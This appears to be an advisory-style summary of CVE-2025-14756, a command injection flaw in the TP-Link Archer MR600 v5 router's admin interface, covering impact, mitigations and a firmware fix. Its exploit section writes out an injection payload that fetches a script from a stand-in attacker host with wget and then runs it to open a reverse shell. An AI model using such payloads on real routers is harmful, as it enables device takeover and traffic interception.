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The command injection vulnerability, identified as CVE-2025-14756, resides in the administrative web interface of the TP-Link Archer MR600 v5 router . This flaw is a result of improper neutralization of special elements used in OS commands, classified under CWE-77 . An authenticated attacker with administrative access can exploit this by using the browser’s developer console to inject arbitrary system commands. The vulnerability is triggered by sending a crafted input to the admin interface, which the system then executes with the device’s underlying operating system . A unique constraint of this specific injection is that the attacker is limited by the length of characters they can input, necessitating concise, effective command crafting . Successful exploitation allows an attacker to execute commands with high privileges, potentially leading to full device compromise, service disruption, and unauthorized access to network traffic . The vulnerability affects firmware versions prior to 1.1.0 0.9.1 v0001.0 Build 250930 Rel.63611n . TP-Link has released a firmware update to address this security flaw .
dailycve form:
Platform: TP-Link Archer
Version: MR600 v5 Firmware
Vulnerability : Command Injection
Severity: High (8.5)
date: 26 Jan 2026
Prediction: Patch already released
What Undercode Say:
Analytics:
The vulnerability exists because the admin interface fails to sanitize user-supplied input before passing it to a system function (e.g., popen(), system()). The attack vector is the Adjacent network (AV:A), meaning the attacker must be on the same Wi-Fi or local subnet as the router . The character length limitation is likely due to a fixed-size buffer in the web server’s handling of the specific parameter, which requires an attacker to be efficient, often chaining commands (e.g., using `wget` to download a larger script and then executing it) .
How Exploit:
- Attacker authenticates to the router’s web interface (requires admin password).
- Attacker opens the browser’s Developer Tools (F12) to intercept and modify POST requests or manipulate DOM elements.
- Attacker identifies a vulnerable input field (e.g., ping test tool, hostname field) and injects a command concatenation payload.
- Due to the length limit, the payload might look like:
`127.0.0.1; wget -O /tmp/ http://attacker.com/payload.sh` - After the download, a second injection executes the script: `127.0.0.1; sh /tmp/payload.sh`
6. The script establishes a reverse shell to the attacker’s machine, granting full control.
Protection from this CVE:
Firmware Update: Immediately update to firmware version 1.1.0 0.9.1 v0001.0 Build 250930 Rel.63611n or later, available on the official TP-Link support site .
Example: Check current firmware version via CLI (if enabled) ssh admin@router_ip sysinfo
Network Segmentation: Restrict access to the administrative interface. Only allow management from trusted, wired LAN connections and block WAN-side admin access.
Iptables rule example (conceptual for the router's Linux OS) iptables -A INPUT -p tcp --dport 80 -s 192.168.1.0/24 -j ACCEPT iptables -A INPUT -p tcp --dport 80 -j DROP
Input Validation: (Long-term fix) The vendor has patched this by properly sanitizing user inputs and using parameterized system calls.
Disable Unused Features: If the “Diagnostics” or “Ping” tool is not required, disable it via the admin panel to reduce the attack surface.
Impact:
Confidentiality: An attacker can read the router’s configuration files, capturing Wi-Fi passwords, ISP credentials, and forwarded port rules.
Integrity: The attacker can modify DNS settings, redirecting all network traffic to malicious sites for phishing or malware injection.
Availability: Critical router processes can be terminated, causing a denial of service (disconnecting all devices from the internet). The attacker could also completely wipe the router’s firmware, bricking the device.
Lateral Movement: Once the router is compromised, the attacker uses it as a pivot point to scan, attack, and intercept traffic from all devices connected to the local network (IoT, computers, phones) .
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Sources:
Reported By: nvd.nist.gov
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